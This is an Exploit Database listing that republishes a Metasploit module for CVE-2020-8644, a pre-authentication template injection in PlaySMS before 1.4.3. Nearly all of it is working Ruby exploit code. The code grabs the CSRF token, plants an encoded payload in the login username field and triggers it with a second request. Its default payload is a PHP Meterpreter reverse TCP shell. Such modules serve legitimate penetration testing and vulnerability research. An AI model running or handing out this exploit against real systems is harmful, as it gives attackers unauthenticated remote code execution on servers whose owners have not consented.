PlaySMS – index.php Unauthenticated Template Injection Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2020-04-16
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48335/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
  'Description' => %q{
  This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
  in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
  PHP template system called 'TPL' which is used in the PlaySMS template engine at
  `src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
  malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
  second time, results in code execution.
  The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
  
  This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
  },
  'Author' =>
  [
  'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
  'Lucas Rosevear' # Found and Initial PoC by NCC Group
  ],
  'License' => MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2020-8644'],
  ['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
  ['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
  ],
  'DefaultOptions' =>
  {
  'SSL' => false,
  'PAYLOAD' => 'php/meterpreter/reverse_tcp',
  'ENCODER' => 'php/base64'
  },
  'Privileged' => false,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Targets' =>
  [
  [ 'PlaySMS Before 1.4.3', {} ],
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => '2020-02-05'
  )
  )
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
  ]
  )
  end
  
  def uri
  return target_uri.path
  end
  
  def check
  begin
  res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(uri, 'index.php')
  })
  rescue StandardError
  vprint_error('Unable to access the index.php file')
  return CheckCode::Unknown
  end
  
  if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
  return Exploit::CheckCode::Appears
  end
  
  return CheckCode::Safe
  end
  
  # Send Payload in Login Request
  def login
  res = send_request_cgi({
  'uri' => normalize_uri(uri, 'index.php'),
  'method' => 'GET',
  'vars_get' => {
  'app' => 'main',
  'inc' => 'core_auth',
  'route' => 'login'
  }
  })
  
  # Grabbing CSRF token from body
  /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
  vprint_good("X-CSRF-Token for login : #{csrf}")
  
  cookies = res.get_cookies
  
  vprint_status('Trying to send the payload in the username field...')
  
  # Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
  evil = "{{#{payload.encoded.delete_suffix(';')}}}"
  
  # Send Payload with cookies.
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(uri, 'index.php'),
  'cookie' => cookies,
  'vars_get' => Hash[{
  'app' => 'main',
  'inc' => 'core_auth',
  'route' => 'login',
  'op' => 'login'
  }.to_a.shuffle],
  'vars_post' => Hash[{
  'X-CSRF-Token' => csrf,
  'username' => evil,
  'password' => ''
  }.to_a.shuffle]
  })
  
  fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
  
  # Request Status Check
  if res.code == 302
  print_good('Payload successfully sent')
  return cookies
  else
  fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
  end
  end
  
  def exploit
  cookies = login
  vprint_status("Cookies here : #{cookies}")
  # Execute Last Sent Username.
  send_request_cgi({
  'uri' => normalize_uri(uri, 'index.php'),
  'method' => 'GET',
  'cookie' => cookies,
  'vars_get' => {
  'app' => 'main',
  'inc' => 'core_auth',
  'route' => 'login'
  }
  }, 0)
  end
  end